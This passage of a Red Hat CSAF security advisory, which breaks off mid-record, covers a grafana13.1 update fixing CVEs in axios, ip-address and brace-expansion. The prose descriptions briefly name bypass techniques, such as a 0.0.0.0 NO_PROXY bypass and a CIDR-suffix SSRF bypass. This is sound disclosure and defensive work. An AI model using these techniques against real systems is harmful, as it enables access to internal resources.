| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in ip-address, a JavaScript library for parsing and manipulating IP addresses. By appending a Classless Inter-Domain Routing (CIDR) suffix to an IP address, an attacker can bypass the library's special-use classification methods. This misclassification can lead applications, such as those designed to prevent Server-Side Request Forgery (SSRF), to incorrectly treat internal network targets as external. Consequently, an attacker may be able to access internal resources or bypass other network trust-boundary checks.
5.3 (Medium)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:grafana13-1-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Moderate
References
80 references
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for Red Hat Hardened Images RPMs is now available.",
"title": "Topic"
},
{
"category": "general",
"text": "This update includes the following RPMs:\n\ngrafana13.1:\n * grafana13.1-13.1.1-0.5.2.hum1 (aarch64, x86_64)\n * grafana13.1-13.1.1-0.5.2.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana13.1:\n * CVE-2026-67313\n * CVE-2026-67314\n * CVE-2026-67315\n * CVE-2026-67316\n * CVE-2026-67317\n * CVE-2026-67318\n * CVE-2026-69152\n * CVE-2026-69153\n * CVE-2026-69192\n * CVE-2026-69198",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:50826",
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67313",
"url": "https://access.redhat.com/security/cve/CVE-2026-67313"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67314",
"url": "https://access.redhat.com/security/cve/CVE-2026-67314"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67315",
"url": "https://access.redhat.com/security/cve/CVE-2026-67315"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67316",
"url": "https://access.redhat.com/security/cve/CVE-2026-67316"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67317",
"url": "https://access.redhat.com/security/cve/CVE-2026-67317"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-67318",
"url": "https://access.redhat.com/security/cve/CVE-2026-67318"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69192",
"url": "https://access.redhat.com/security/cve/CVE-2026-69192"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69198",
"url": "https://access.redhat.com/security/cve/CVE-2026-69198"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://images.redhat.com/",
"url": "https://images.redhat.com/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50826.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
"tracking": {
"current_release_date": "2026-08-09T10:55:32+00:00",
"generator": {
"date": "2026-08-09T10:55:32+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.12"
}
},
"id": "RHSA-2026:50826",
"initial_release_date": "2026-08-05T14:18:29+00:00",
"revision_history": [
{
"date": "2026-08-05T14:18:29+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-08T04:36:23+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-09T10:55:32+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Hardened Images",
"product": {
"name": "Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@aarch64",
"product": {
"name": "grafana13-1-main@aarch64",
"product_id": "grafana13-1-main@aarch64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
}
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@src",
"product": {
"name": "grafana13-1-main@src",
"product_id": "grafana13-1-main@src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "grafana13-1-main@x86_64",
"product": {
"name": "grafana13-1-main@x86_64",
"product_id": "grafana13-1-main@x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/grafana13.1@13.1.1-0.5.2.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@aarch64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@aarch64"
},
"product_reference": "grafana13-1-main@aarch64",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@src as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@src"
},
"product_reference": "grafana13-1-main@src",
"relates_to_product_reference": "Red Hat Hardened Images"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "grafana13-1-main@x86_64 as a component of Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images:grafana13-1-main@x86_64"
},
"product_reference": "grafana13-1-main@x86_64",
"relates_to_product_reference": "Red Hat Hardened Images"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-67313",
"cwe": {
"id": "CWE-674",
"name": "Uncontrolled Recursion"
},
"discovery_date": "2026-08-01T13:03:08.824485+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510017"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67313"
},
{
"category": "external",
"summary": "RHBZ#2510017",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510017"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67313",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3",
"url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson",
"url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
}
],
"release_date": "2026-08-01T12:22:16.493000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON"
},
{
"cve": "CVE-2026-67314",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-08-01T13:03:49.884962+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510030"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67314"
},
{
"category": "external",
"summary": "RHBZ#2510030",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510030"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67314",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",
"url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields",
"url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
}
],
"release_date": "2026-08-01T12:22:16.603000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth"
},
{
"cve": "CVE-2026-67315",
"cwe": {
"id": "CWE-115",
"name": "Misinterpretation of Input"
},
"discovery_date": "2026-08-01T13:03:15.269330+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510019"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios. This vulnerability occurs because the software fails to correctly identify 0.0.0.0 as a local loopback address when evaluating NO_PROXY rules. A remote attacker could exploit this by providing a 0.0.0.0 URL, causing requests to bypass intended proxy restrictions. This could lead to the exposure of internal services to the configured proxy, potentially allowing unauthorized access to local resources.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: NO_PROXY bypass allows exposure of local services",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67315"
},
{
"category": "external",
"summary": "RHBZ#2510019",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510019"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67315",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67315"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67315"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548",
"url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via",
"url": "https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via"
}
],
"release_date": "2026-08-01T12:22:18.103000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: axios: NO_PROXY bypass allows exposure of local services"
},
{
"cve": "CVE-2026-67316",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-08-01T13:02:42.878796+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510009"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios, a widely used JavaScript library for making web requests. This vulnerability, known as prototype pollution, allows an attacker to subtly alter how network requests are built if another part of the system has already been compromised. This could lead to an attacker injecting unauthorized data into requests that were not intended to have a body. In more advanced scenarios, an attacker could also redirect network traffic through their own malicious servers or manipulate how URLs are processed, potentially exposing sensitive information or allowing traffic modification.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67316"
},
{
"category": "external",
"summary": "RHBZ#2510009",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510009"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67316",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67316"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods",
"url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods"
}
],
"release_date": "2026-08-01T12:22:18.114000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Low"
}
],
"title": "axios: axios: Prototype Pollution allows unauthorized data transmission and network redirection"
},
{
"cve": "CVE-2026-67317",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-01T13:03:53.063442+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510031"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios. This vulnerability allows a remote attacker to bypass configured upload size limits by supplying unknown-length stream data when using WHATWG ReadableStream request bodies in the fetch adapter, specifically when the Content-Length cannot be determined. This can lead to uncontrolled network egress or resource exhaustion, resulting in a Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67317"
},
{
"category": "external",
"summary": "RHBZ#2510031",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510031"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67317",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67317"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67317"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream",
"url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream"
}
],
"release_date": "2026-08-01T12:22:16.662000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: axios: Denial of Service via maxBodyLength bypass with ReadableStream"
},
{
"cve": "CVE-2026-67318",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-01T13:01:38.074319+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2509989"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in axios, a popular JavaScript library for making HTTP requests. When using the Node.js HTTP/2 adapter, axios fails to properly enforce the configured maxBodyLength limit for streamed request bodies. This allows a remote attacker, by controlling the input stream, to send an arbitrarily large amount of data. The primary impact is excessive resource consumption, increased network egress, and potential denial of service for the affected application.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-67318"
},
{
"category": "external",
"summary": "RHBZ#2509989",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509989"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-67318",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67318"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67318"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
},
{
"category": "external",
"summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2",
"url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2"
}
],
"release_date": "2026-08-01T12:22:18.116000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests"
},
{
"cve": "CVE-2026-69152",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-08-03T18:01:13.566423+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510722"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the brace-expansion library. An attacker can provide specially crafted input to the `expand()` function, which fails to apply length restrictions when creating intermediate arrays. This oversight allows the attacker to exhaust system memory or block the event loop, leading to a Denial of Service (DoS). This vulnerability bypasses a previous mitigation for CVE-2026-14257.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69152"
},
{
"category": "external",
"summary": "RHBZ#2510722",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
},
{
"category": "external",
